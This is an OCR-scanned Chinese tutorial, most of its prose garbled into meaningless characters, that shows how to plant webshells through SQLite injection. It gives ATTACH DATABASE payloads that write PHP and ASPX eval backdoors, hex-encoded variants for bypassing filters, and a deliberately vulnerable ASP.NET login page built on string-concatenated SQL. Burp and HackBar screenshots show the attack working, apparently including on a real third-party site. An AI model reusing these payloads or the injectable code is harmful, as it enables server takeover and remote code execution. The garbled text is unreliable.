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SQLite FT ¥ A Getshell 15

SQLite FI3F A Getshell 1415 — (%5

ox01 RIS

SQLite B—HERANEIEE, SHNBEEME—TXM4. BT SQlLite X5%F C 51, mMA
RIRR)N, FIAREREAEISMNAESRR, EEEFI App FERA,
ZBERABEIE X T SQLite BUEN, XIXEE|—1 7 ASPX H{Ef SQLite HiERE, FHFH
EN JZ%YEJ-:E% — T MFENEIZREY WEBSHELL By 2 RIB IR —LEL,
BEME—T SQLite E’Jﬁﬁﬁ?‘ili REERMEEMEURFAEANIRE WEBSHELL, &/
Jvlﬁﬂ?’_ﬁkﬂmrﬁﬁqﬂLéUE’\JI'ﬂwELX&!ZDHﬁ:FJ& (e.g. FIEATE shell) ,

0x02 SQLite B9{EF

SQLite W—1MEEMNFFMHETHREN, XEREMNTEERXNRRYEE, £ Windows H1{E
FH SQLite Atiha] SQLite FTEHTIE , M Windows X TFE 4RI ZHEISX M, MERFHM
# sqlite—tools—win32-x86-3190300.zip , N FFEEE. HXEBEFNEEFHIR
D:\sqlite BHX.

SQLite MIBEMEMEIEEEZRZ, R SQLite WEIREER— 12X, SQLite Bl
LRENTEEMM, —MELIE, S —FEH.

YANIVE: Y- i == A AN I T T T ABIlAOANINzZEB AN\ o . AARFIE = /£ AA


https://www.sqlite.org/
https://www.sqlite.org/download.html
https://www.sqlite.org/2017/sqlite-tools-win32-x86-3190300.zip

LI PDU/TIHEY e SUYLLLEID.CALT ZATa/=+=XTTTH o IJJAH LI I " /) dd.UM HIXZAJAE=, POTTIHE e

sqlite3.exe aa.db ,

. 7—06-08 14:26:16
for usage hints.

MINDEIBEEROEANIEIL R ATTACH DATABASE 'DatabaseName' As 'Alias-Name'; . QNSRENIEEE!S)
REEIE, XT B EE—TEHERE, NRTIEEEFE, WEHSEEX GRS BEAERE
‘Alias—-Name’ 4fFEE—iC. FHIZIMIIN—" bb.do FIEIERE, BIRN a, @< attach
database 'd:\\sqlite\\bb.db' as 'a'; ,

attach database "d:\\sqlite\\bb.db’ as ’a’
. datal S

BIERABALIERIG LU T

create table a.tt(dataz text); INSERT into a.tt(dataz) VALUES ('test');

o table a.tt(dataz text); INSERT into a.tt(dataz) VALUES (' test’);
t * from a. tt;

QNI ite AETIMN AR (IS ER2Z0NIBEE~NE FlENAI7E— D phpy R ONIEE~N {E ¥RiE—D
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BN exp R, HAEHEHPEBANEIE, AEAN:  <zphp phpinfoQ;?7>

A<l

sqlite>ATTACH DATABASE 'd:\\sqglite\\23.php' AS test ;create TABLE test.exp (data
z text) ; insert INTO test.exp (dataz) VALUES ('<?php phpinfo();?>");--

;create TABLE test.

v IHEERE > ¥E (DY) > sqlite

~

EIR =R EHE et N

im| 23.php 2010:26  PHP Szt 8 KB
| 26.txt 1917:16 8 KB

[ sqldiff.exe 443 KB

[ sqlite3.exe y 712 KB

[#5 sqlite3 analyzer.exe 2017/6/8 22:11 T FEfErs 1,932 KB

TFERRIEIRE X 23.php TRTE web B, AFAE., KMKEEFBANRKIERRET
I

€ © 127.0.0.1/23.php E1 ¢ @&

i
i

SQLite format 3@ .¢ ¢ @/GtableexpexpCREATE TABLE exp (dataz text) ¢ ¢1

PHP Version 5.5.30 php

System Windows NT FUPING 6.2 build 9200 (Windows 8 Enterprise Edition) i586
Build Date Sep 30 2015 13:44:04

Compiler MSVC11 (Visual C++ 2012)

Architecture x86

@ O = =] = [D:\sqlite\23.php] - UltraEdit —; O




oI ERE
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Y UltraFinder ’ E—h
N

ey UltraSentry

BRI EAERN aspx EERBVBIBE M, BIER, HIEA <%@ Page Language="Jscript"%>
Seval(Request.Item["pass"], "unsafe") ;% o ARG IZSEERTE IS BRSSHO web B, KM EF

Y APSX fCHth SR

CT . [D:\sqlite\23.aspx] - UltraEdit

: ‘ -E‘ Eo HE/AA

| agalia=tons B .

AR EAEE p R
w w

- -

B cven-

HEEeE<%@ P
M) %EE) BE(V) ARG BEE) TEOD =#H)

http://192.168.131.131:88/23. X =+

€ O 192.168.131.131:88/23.aspx ¢ @ Q@

INT v = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS-
@ Lload URL (‘hitp//192.168.131.131:88/23.aspx

% split URL

4 Execute

Postdata [ | Referrer 4 OxHEX ¥ & %URL ¥ &K BASEFY B Insert string to replace

Post data /pass=%uO052%u0065spcmse%u002E%u005?rit%u0065(" >SUCCESS");

Insert replacing string

SQLite format 3@ .???/GtableexpexpCREATE TABLE exp (dataz text) ??H?>SUCCESS



BIEEERNEREEH, RIERRNATERNRSNEZMEE, XS T RPOICBHRE
MANRE, #F T RBERMIEE—T ASPX+SQLite 9 web INH, JER— TalfEh@d SAL 3+
ANIREX WEBSHELL,

0x03 ZihIfR+HE 72 K 3KEX SHELL
FNESERRRIFAIBEIEE. Net F&EY web TNE, FRLUXEhIL ASPX 120,

1. MIREENI B RIERE

T#H %% Sqlite ADONET , T#HEHEELTREIT, REGERFEPH System.Data.SQLite.DLL
XHEFIHE, ETEMNMEHRRESHEE (9 32 fl 64 i, RIFEECSHIMRIERE) .

XEIEKE VS2013, #iE—1 ASP.NET Wi, FEIEAFHE— Bin XE4EM—1 ASPX TT
H (XEBERFRA Defaultaspx), & EEEHI LKA System.Data.SQLite.DLL XH4TE Bin B
zq-(q:lo

HEFREMME:

EEAEALEEIREEEE(Crl+)

) B E"WebSite2"(1 AIEH)
4 & website2
4 Bin
Bl System.Data.SQLite.dll
4 &1 Default.aspx
2 Default.aspx.cs

b ¢ Web.config
N website.publishproj


https://sourceforge.net/projects/sqlite-dotnet2/

Default.aspx ®ER0IH, HPE—1TXAENRE, FERE:

<form runat="server">
<div>

<asp:TextBox runat="server"></asp:TextBox>

<asp:Button runat="server" OnClick="btn_Click" Text="&if" />
</div>

</form>

Default.aspx.cs 2CIBAISEIT, BT :

using System;

using System.Collections.Generic;
using System.Ling;

using System.Web;

using System.Web.UI;

using System.Web.UI.WebControls;
using System.Data.SQLite;

public partial class _Default : System.Web.UI.Page
{

protected void Page_Load(object sender, EventArgs e)

{

if (!System.IO.File.Exists(Server.MapPath("~") + "/UserData.dbx"))

{
SQLiteConnection.ClearAllPools();
SQLiteConnection.CreateFile(Server .MapPath("~") + "/UserData.dbx™");

SQLiteConnection conn = new SQLiteConnection("Data Source=" + Serve
r.MapPath("~" + "/UserData.dbx™"));

conn.Open();
CNl 1 +alCoanmand FrmA — naw <Ol 1 +alCommAanAdl »



T R e R e BRAEE RTINS )

cmd.CommandText = "create table Users (UserID int primary key,UserNa

me varchar(100) not null,UserPassword varchar(100) not null)";

cmd. Connection = conn;
cmd. ExecuteNonQuery();

for (int 1 = 0; i < 100; i++)

{
cmd. CommandText = "insert into Users (UserID,UserName,UserPasswo
rd) values (" + 1 + ",'TestUser_" + i + "',"" + DateTime.Now.ToString().Replace(
"ty "-").Replace(":", "-") + "'D";
cmd. ExecuteNonQuery();
}

x");

}

conn.Clone();
conn.Dispose();

Response . Write("#iatt~~<br />");

Response.Write("mn&E i IN~~<br />");

protected void btn_(Click(object sender, EventArgs e)

{

if (TextBox1l.Text != ""){

SQLiteConnection.ClearAllPools();
/7/SQL1iteConnection. CreateFile(Server.MapPath("~") + "/UserData.db

SQLiteConnection conn = new SQLiteConnection("Data Source=" + Serve

r.MapPath("~" + "/UserData.dbx"));

conn.Open();
SQLiteCommand cmd = new SQLiteCommand();
cmd. CommandText = "select UserPassword from Users where UserName='""

+ TextBox1l.Text.Trim(+""'";

cmd. Connection = conn;

if (cmd.ExecuteScalar() != null)

{
string tempUserName = cmd.ExecuteScalar().ToString();
Response Write("&iERN:" + tempUserName + "<br /><br />");
}
else

{



Response Write("TUbAEF");

}

else

{

Response Write("BMABIEAS~~<br />");

REENBEERA, XME—TFEIANIE, ZFRMENAEANFRIREX WEBSHELL,

2.5QL ;¥ \E WEBSHELL

€ ® 192.168.131.131:88/Default.aspx ¢ w8
INETRLT~~
2%%%]:201 7/7/19-16-28-51 E | Burp Suite Professional v1.7.11 - Temporary Project - licensed to Larry_Lau = O X

Burp Intruder Repeater Window Help

TestUser_1 =i Target | Proxy | Spider | Scanner | Intruder | Repeater T Sequencer T Decoder T Comparer I Extender T Project options T User options | Alerts
.

Go | [ cancel |[<iv ][ >]v Target: hitp:/1192.168.131.131:88 | &) |/

Request Response

Raw PavamsTHeadevs Hex ViewSlalel Raw | Headers | Hex | ViewState

POST /Default.aspx HTTP/1.1 A HTTP/1.1 200 OK

Host: 192.168.131.131:88 r Cache-Control: private

User-Agent: Mozilla/5.0 (Vindows NT 10.0; VOW&4; rv:54.0) Centent-Type: text/htnl; charset=utf-3
Gecko/20100101 Firefox/34.0 Server: Microsoft-IIS/T.3

Accept: K-AspNet-Version: 4.0.30319

text/htul, application/zhtul+xnl, application/xnl;a=0. 9, /#;q=0. 8 X-Powered-By: ASP.NET

Accept-Language: zh-Cl, zh;¢=0. &, en-US;q=0. 5, en; q=0. 3 Date: Thu, 20 Jul 2017 08:39:17 GNT
Accept-Encoding: gzip, deflate Connection: close

Content-Type: application/z—www—forn—urlencoded Content-Length: 1035

Content-Length: 356

Referer: http://192.168.131.131:88/Default. aspx INEERETY ™ <hr /OB WL R :2017/7/19-16-28-51<br /o<br />
X-Forwarded-For: 192.168.0.12

Cormection: close !DOCTYPE html>

Upgrade-Insecure-Requests: 1
<htnl xnlns="http://www.w3. org/1999/xhtnl”>

__VIEWSTATE: 2FxDOLTGL1gvPBzNpzDNgyU¥acXTZHRViKKo%2F8{1qd3d0a <head><neta http-equiv="Content-Type” content="text/htnl; charset=utf-8"
eoll3Pgk65DrkpZzXTaaWLIkyPK4bERDngHyiQrdlpl YORBt d3ZwAPFBQRaw% 3D&_ /r<titler

_EVENTVALIDATION=yTsaYPL1hESnaZ%2Fa9tVastpl johlin%2F%2Fk10Zef3 RN
aai9TyEDurv43xidecdgPql 1NBa¥zeDXxLF JLglePp40%2BEvPyYHYSw jx30eZiC </title></head>

evtQ0AgPYSFITKiQTENVALvbIlW ¥ ggleql tDtCVeFRDICChoA%SDm3D&TextBox1=T <body>

estUser_18Buttonl=%E6%OF%ASHEBHAFKAZ <form method="pest” action="Default.aspx” id="forn1">

<div class="aspNetHidden">

<input type="hidden” name="__VIEWSTATE" id="_ VIEWSTATE"
value="1/IDxCh0kVwbg0+INTTeq0alv2340ThWOGF z] jXw jPiRBQUDLgFi0/v6x0vTxG x0T t3Moap
WvrR+iIPLweT8q01W2CHI 2Whik9jNoA/MnlKe=" />

</div>

<div class="asplletHidden” >

__EVENTVALIDATION” id="__EVENTVALIDATION"
ZQnSQBFpuue/ qSnIFbtUn,

<input type="hidden”
value="00GIb2ETkTevKHGOzusBAL

w=" />
<fdiv>

S| B, DEIRE, BERLE web EXRZRTBLE,
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SQLite error

unrecognized token:

e

#8: T80 Web FERERE] , HEIRESANENRE, EREHRERRES | LTSRS RLURABRRSIHESRMH AT REa.

SRIFMES: System.Data.SQLite. SQLiteException: SQLite error
unrecognized token: "

iR

iT 46:
1T 47:
ir as8:
ir 49:
iT se:

cmd.Connection = conn;

if

B3zt c\WebSite\Default.aspx.cs

LR

(cmd.ExecuteScalar() != null)

string tempUserName = cmd.ExecuteScalar().ToString();

i: 48

[sQLiteException (ex8eee4ees): SQLite error
unrecognized token: "'''"]

System.
System.
System.
System.
System.

Data

Data.

Data

Data.

Data

.5QLite.
sQLite.
.SQLite.
sQLite.
.sQLite.

sQLite3.Prepare(sQLiteConnection cnn, String strsql, sQLitestatement previous, UInt32 timeoutMs, String& strRemain) +123@
SQLiteCommand.BuildNextCommand() +6@5

SQLiteDataReader.NextResult() +241

SQLiteCommand.ExecuteReader(CommandBehavior behavior) +49

sQLiteCommand.ExecuteScalar() +32

_Default.btn click(Object sender, EventArgs e) in|c:\WebSite\Default.aspx.cs:48 |
System.Web.UI.WebControls.Button.RaisePostBackEvent(String eventArgument) +155
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +38e4

REMARYE LE SQLite Bl ASPX 8 TVIVEUREEN S UK E A—1 WEBSHELL,

Higgn:

';ATTACH DATABASE 'c:\\WebSite\\css.aspx' AS pwn ;create TABLE pwn.exp (dataz te



xt) ; insert INTO pwn.exp (dataz) VALUES ('<%@ Page Language="Jscript"%><%eval(R
equest.Item["pass"],"unsafe");%>"); --

€ @ 192.168.131.131:88/Default.aspx c & Q@#EF
TNEEpE -~ ~
FoltbARF

", ATTACH DATABASE 'c;| | E5j8

:dtsGerDNRUiQ“uED“nED&TeXton1=9h2T%EEATTACH+DATAEASE\‘%ZTC%SA%EC%ECWEbSite%SC%SCcss. aspxh2T+AS+pyn+43Bcreate+TABLE+pwn. exp+hi28dataz+text%29+%3B+ins
|ert+INTO+pwn. expH28dataz%29+VALUES+H28%2 T%3C%25%40+Page+Language%3D% 22 scripth22%25% 3E% 3C%25eval%28Reques t. [ ten%5B%22pas s%22%5D%2C%22uns afe%22%

uite Professional v1.7.11 - Temporary

Project - licensed to Larry_Lau = O X
| Burp Intruder Repeater Window Help
Target | Proxy | Spider | Scanner Tlmruder TRepeatev ] Sequencer T Decoder TComparer ] Extender T Project options T User options | Alerts
[ Intercept (&-ﬂTPmstory T WebSockets history I Options } |
‘ Filter: Hiding CSS, image and general binary content ‘ ?
#  a|Host \Memnd \uRL \Params | Edited | Status \Lengm ‘MIMEL, Extension | Title Comment \SSL L
P —E0 - il =] = P T =T T T
66 http://192 168.131.131:88 GET Joss psmy = =) a00 1236 HThAL asny ) 192,*:.'
=% I
| l: Converted text
Request | Response
Raw | Params THeadsrs Hex | ViewState } Copy to clipboard Close
[POST /Default. asps ETTP/1. 1 : e v 0
: 3 n A
i s i ATTACH DATABASE ’c:\\WebSite\\css.aspx’ AS pwn ;create .

TABLE pwn.exp (dataz text) ; insert INTO pwr.exp (dataz)
VALUES (' <%@ Page

Language="Jscript "% >%eval (Request. Iten["pass”], "unsafe”) ;%>
i

|\User—Agent: Mozilla/5.0 (Vindows NT 10.
Accept: text/htnl, application/zhtml+xnl
|Accept-Language: zh—CN, zh;g=0. 8, en-US;
|Accept-Encoding: gzip, deflate

|Content-Type: application/z—wwv—forn—ui . L.
|Content-Length: 626 ? < + > || 0 matches
|Referer: http://192.168. 151.151:88/Defa ‘

|%-Forvarded-For: 192.168.0.12
|Connection: close
|Upgrade-Insecure—Requests: 1

| __VIEVWSTATE= jU4%2BwMKrzLGeiGINOqvxsgURAKoJJwLr67 1% 2E1RLL tD0gDE BulkdGB4TaZTU1eHoFbS3G891 tECTepNWHF JylRa3JCROUI £F15690CGC 0aZBQ%3Dk__EVENTVALIDATION
|=Hn%Z2F%2BNT 9k68hT151 yYnN 3451 9r Iyt 540ywelnl c3Hy8oQ1NF LruCW0SshXE Zn4AUCCOvopU9d8 j51Ip0iwsL316x2]djBjZU91 Ok f IKNQBS0AVP 4%2F x5 znenz3x031 6ufuZDIhEsOza

29%3B%25%3E%27%29% 3B +——&But ton1=%E6% IF%ASHE B%AF A2

=
v

0 matches



Insert replacing string Replace All 28 | =

i — ¥ UL DALY LIV DASLL LMWUIVLDUUDLL WULIE UULa WAL DITAS LINGULnYD
@ Load URL (http://192.168.131.131:88/css.aspx
4 spliture
' Execute

Postdata [ Referrer 4 OxHEX 3 % %URL ¥ % BASE64 I | /nsert siring to replac
Post data rasF%u0052%u0065sponse%uO()ZE%u()O57rit%u0065(" >SUCCESS™);

SQLite format 3@ ?7/GtableexpexpCREATE TABLE exp (dataz text) ??H?>SUCCESS

Bl cism ©iees 1313 x|+
12 C: \WebSi e,
192.168. 131. 131 EF(2), 32+ (8) =
@ h: )
BsecC: I aspnet_client
Y ,
I aspnet_client = Bin
3 Bin
D @ css aspx

@ Default. aspx
€ Default. aspx. o5
| UserData. dbx
¢ Web. config
¢ #eb. Debug. config

) website. publishproj

ML IFEIRI
KB B EFRN A B RIAY ) B DA K BRIRR 55

0x04 SCtfnAr iz A& EIAY o) f K fF 1R 7 3%

Eig]

2017-07-19 16:24:33
2017-07-19 16:00:32
2017-07-20 17:43:04
2017-07-19 15:41:58
2017-07-19 15:58:50
2017-07-19 16:28:52
2017-07-19 16:29:27
2017-07-19 14:63:14

2017-07-19 16:00:04

&

2048
573
2479
7168
389
1306

2630

=R
=4

MAFEY SQL JEFAS AT WEBSHELL, (BRI AFIEALLIRT, & T



B0 ZRAREE SQL JFEAN, EERER SQLite, BITIRE LI web MBMEIIREZE, ERE
£30<, EarlERARAXE.

HiZFIH SQLite B aspx X4, RMeIABE AN, B2 SHELL jxBE#HIT. TTiEHEE
shell (KEBARBENBRINERRMITRIN, AEMTE N TXT EF shell KIBEE I A AN,

';ATTACH DATABASE 'd:\\***¥****¥¥\\web\\24.txt"' AS pwn ;create TABLE pwn.exp (data
z text) ; insert INTO pwn.exp (dataz) VALUES ('<%@ Page Language="Jscript"><%eva
1L(Request.Item["pass"], "unsafe");%>"); --

AEEZIAOIBEE R T 24.1xt BRI &, T#H/EA SQLite FUIREEIETRITH, XB
FAHYZ Navicat,

i - E exp @main (24) -
|
-_. = § Fess la; Tz s [+8\ P8
dataz

| B | >|

v £ main
> =
oo HE
A =35|
R
i =3
B m=
COR- )

HIARMERRER, AT shell KBEFRNFNS test WAMUBEANRI, BINIZMESA
B SHELL FEF—E/FSHY, XEE W TERXERERR,

BT RIBASKREIE R EEAD, FREXFE—1EE: EAMER—TEBIVA jpg NEIEEX
, BIERASAN SHELL, A5 LEEIARSES: ENIL EFREAFE—T txt BCR9EEE
E, BIZXREHEREABIEENANTBEAL txt BNBUEES.



-y"'"|7‘ @main (24) - = [ exp @main (23) - &

= 0 ess Bmz-Tos Fas o Do

P <%@ Page Language="Jscript'%> <%eval(Request.item[*pass”],"unsafe’);%>

B S HTAF - sqlite3.exe

httpi//2: 2/search.aspxzkeyword="ATTACH DATABASE 'd:\\ s sl \\web\\Upload\\201707\\19\\201707191658136204.jpg’ AS pwnT;ATTACH DATABASE 'd:\)
pwn2.exp(dataz text)insert into pwn2.exp select * from pwn.exp;-|

RTBIEERLT—N, BRBRBIN—MTTE. BRE web REFZEM— jpg BIURIEHE
B, BIZRETE, AAMITAEBARE, ZELERRSS: BENMGIE—T ASPX 1§
NREEE, SIRREHEABABREENATHEAR ASPX BVEHEES.

';ATTACH DATABASE 'd:\\***¥***¥A\\web\\fp.jpg' AS pwn;create TABLE pwn.exp(dataz

text);--

s \web\fp.txt' AS pwn2;create TABLE

System.Web.HttpUnhandledException (0x80004005): Exception of type 'System.We
b.HttpUnhandledException' was thrown. ---> Dcms.Orm.SessionException: Get List
lerror -—-> System.Data.SQLite.SQLiteException: SQLite error
attached databases must use the same text encoding as main database

at System.Data.SQLite.SQLite3.Reset(SQLiteStatement stmt)

at System.Data.SQLite.SQLite3.Step(SQLiteStatement stmt)

at System.Data.SQLite.SQLiteDataReader.NextResult()

at System.Data.DataTable.Load(IDataReader reader, LoadOption loadOption, FillE
rrorEventHandler errorHandler)

at System.Data.DataTable.Load(IDataReader reader)




/http:,.’ﬁ 2/fp.jpg

] Post data

[J Referrer @ OxHEX » @ %URL ¥» % BASE64 B
Bi&: "http://

exp @main (fp) - ¥ - Navicat Premium

X ='E wm= IE 80 FEED

. [ G M
= = o8

B3 &5

(http://: 2/search.aspx?keyword="ATTACH DATABASE 'd:\\ B

Insert string to replace

= =5 mEE
|
L
4
n
v
v E main
B &
oo il
m =3

Insert replacing string Replace All 3 ™=

2 /fpjpg” R R EET.

B E @M E

itz )

23) - Hexp

eEs BEx-Tez Fas e D sy

pwn2.exp(dataz text)insert into pwn2.exp select * from pwn1.exp;--

XIHE) %RE(E) HEN HRO BEEB) ITHO #F|EH)

e my\web\\Upload\\201707\\19\\201707191706598079.jpg’ AS pwn1;ATTACH DATABASE "d:\\"& s

\web\\fp2.aspx’ AS pwn2;create TABLE

. FEn D e NS <1

Ex - -



o S i *

€ @ R /fp2.aspx (<] % B 3 A ® - ®§ =
INT v = @ SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS~ LFI-

4 -

®

& Load URL
% splitURL
)

Execute

Replace All 3B | ™=

[] postdata [] Referrer 4 OxHEX M» % %URL ¥» @ BASE64 I

Insert stri

SQLite format 3@ @€U!jtableexpexpCREATE TABLE exp(dataz text) ppé €!<%@ Page Language="Jscript"% > <%eval(Request.ltem["pass"],"unsafe"); %>

AIABRIAE AN, {EVhERILEAR ASPX U R L, SHELL RMITAIN. AEMRIIEE—
T web EAERAIAHAE BRI R A X,

DAERII web EAERM— txt MINAVEBUIEEX M, FEREEA test . REXNLLER

o

=5

\Y

00 @ 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00
000 0 0 0 0 s 00 00
0008061 6h : 00 80 8 08 00 00 00 ; o 00001F00h: 00 00 00 00 00 L2}
00000706h : 00 60 00 00 0 0 @0 ; . 00001F10h: 00 00 00 00 00 60
0 0 0 0 s 00 00 60
00 00 00 00 00 00 00 00 . 0 00 00 00 20 00 00 (<]
00 00 00 00 00 0 00 ; . : 00 @ 00 00
20 00 00 0 o
00 00 00 @ 2 s 00001f70h: 00 00 00 0@
00 00 00 00 00 H . 00001180h: @ 08 00
00 00 0 0 s 0
00 00 00 00 s 4 : 00 00 08 00 00 00 00 00 00
00 00 00 0 0 00 00 ; s : 0 00 00 00 00 00 0 06 00 00
00 00 20 0 0 @ - 0 0 0 00 60 o @ 00 o 0 00
000007 coh 00 0 00 00 00 00 00 00 . 01fde 00 00 00 00 00 00 00 00 00
000007deh : 00 00 00 00 00 00 H . H @ 00 00 00 0 00 00 00 00 00

MEEERIMIGERNATE L T — T =R,

BERSBRVGRAT70ARNIRNIL, ARSI shell REFER T #HFIFEAN, AMME web £

Z /8



(http://E 2/search.aspx?keyword="ATTACH DATABASE 'd:\'l EEE\\web\\26.txt" AS pwn ;create TABLE pwn.exp (dataz text) ; insert INTO pwn.exp (dataz) VALUES
(0x3c25402050616765204c616e67756167653d224a736372697074223e3¢256576616c28526571756573742e4974656d5b2270617373225d2c22756e7361666522293b253e); --

-

[] Postdata [ | Referrer 4 OxHEX & %URL ¥ &% BASE64 in: ce| | Insert rey Replace All :

System.Web.HttpUnhandledException (0x80004005): Exception of type 'System.We ~
b.HttpUnhandledFxception' was thrown. ---> Dcms.Orm.SessionException: Get List
error ---> System.Data.SQLite.SQLiteException: SQLite error
unrecognized token: "0x3c25402050616765204c616e67756167653d224a73637269
7074223e3c256576616c28526571756573742e4974656d5b2270617373225d2c2275
6e7361666522293b253e"

at System.Data.SQLite.SQLite3.Prepare(SQLiteConnection cnn, String strSql, SQLit
eStatement previous, UInt32 timeoutMS, String& strRemain)

at System.Data.SQLite.SQLiteCommand.BuildNextCommand()
L at System.Data.SQLite.SQLiteCommand.GetStatement(Int32 index)

=

A BRI




ZUERERM, SQLite PHAHABNEEN: x'....' , MAZ ox.... .

fFlan <% Page Language="Jscript"><%eval(Request.Item["pass"],"unsafe") ;%> ff SQLite FHY+
ARHERTR:

x'3¢25402050616765204c616e67756167653d224a736372697074223e3c256576616c2852657175
6573742e4974656d5b2270617373225d2c22756e7361666522293b253e"

FBINE N shell

T MR MRS ML R RS RO Wt DR RROE W e R TSRS LT R mEit dee

hrtpeff2o. _ormiia2psearchaspxTkeyword =ATTACH DATABASE 'dy ‘ dvwweb\hes.aspx’ AS pwnicreate TABLE pwn.exp [dataz text) ; insert INTO pwn.exp (dataz) VALUES
(x'3c25402050616765204ch1 6e67756167653d224a73637269707422253e3c256576616c 285265717 56573742497 4656d5b2270617373225d2c22756e7361666522293b253e); --

B L]

T D BRE =8N HEE S5E IR0 SN Ex - -
[ Post data
hitp:/j W Wfesaspx X 4

€ 0 fes.aspx ¢ @ Qa TE 9 AL e =

INT “ = & SOLBASICS- UNION BASED- ERROR/DOLBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

@l Load URL (‘s Jes.aspx

& spliturL

*)  Execute

[4] Post data ] Referrer 48 OxHEX 3 & %URL 3 & BASEGS 3

[nsert string to replace | Insert replacing string| Replace All
pass=%u0052%u0065sponsedudi2ERu0S T ritHul0s 5" X @Y Jvar Huld6SrrH%uli4SxcHudi6Sption;

36007 4ry36u007 BH%u0065val(Syst3udDE 5m Hu002ETHu0065xul02 E%uld4Sncoding %u002EGud06 5t3u045ncoding (G500 1) %ud02EGHUD0E5tSting (SystH
0065m.Convisud065 %ul02EFromBaseul0s5645 tring(*dmFyl GMOUSEzdGViLkIPLKRpemVjdGayes S HZXRMb2dpY 2FsRH pdmizKCkTUmVzeGouc2Uuv 3 pd Glie
U2vydmiyLkT heFBhd GgoliBiKSsiXHGIKTimb 3 lodmFy GkIM DtpPD1jLmx bmd0aC0x02kikylSZXNwh2 522 S 5KemI0ZShjw 2 ld Wz BdKyls!ikT*)), "unsaf%u00657);

Bl SOlite format 3@ §@X!@tableexpexpCREATE TABLE exp (dataz text) @ @H@X@YD\G B Mhweby ACDIX@Y

Post data

DiEm |Gz, 142 x|+
I3 D: \ I ] \web e I}
221.23 BR09), 3 7) E= B3iE Fir Eit

G B s "

[ o j 20170718. aspx. db 2017-07-18 16:16:23 11669504 e

G STEEETH

[ ®23333 aspx 2017-07-18 19:05:30 2048 -

[ H me Information

E B T @ ibout. asp 2017-03-19 18:23:22 27134 -
= o
I adres €% About. aspx. s

2017-03-19 18:23:24
Bl N



L0 App_Data @ Articlelntrolist. aspx 2017-04-09 21:01:20 3696
) aspnet_client

O bin €* irticleIntrolist. aspx. es 2017-03-19 18:23:24 2182
i config

- control: @ hrticlel 0170 24 3270
£ oss

] deedit

ity € hrticleli 170 177
] deman

0 Edit . B

By ezine @ irticlePicture 170 24

. images )

) plugins Articlef 1 24

) seripts

£ sysaspx @ BoutiqueBooth aspx 2017-03-19 18:23:24 2662
] tenp

I tools C€* BoutiqueBooth aspx. cs 2017-03-19 18:23:24 683
) Upload

0x05 :E'\ﬁl:
BT RSN T FEFOSERRFIRE, BJ LAY A= :

1.SQLite ATABIZEERNEIREH, HEBARKIE R DARE ST TR A
BT Al AR B XM A E WEBSHELL FIEH,
2.8QLite B+ "#HBINEERN: x'....' , TIARE 0x....

0x06 &

[1] http://www.cnblogs.com/xiaozi/p/5760321.html
[2] https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet
[3] http://blog.csdn.net/mazhaojuan/article/details/ 7660657
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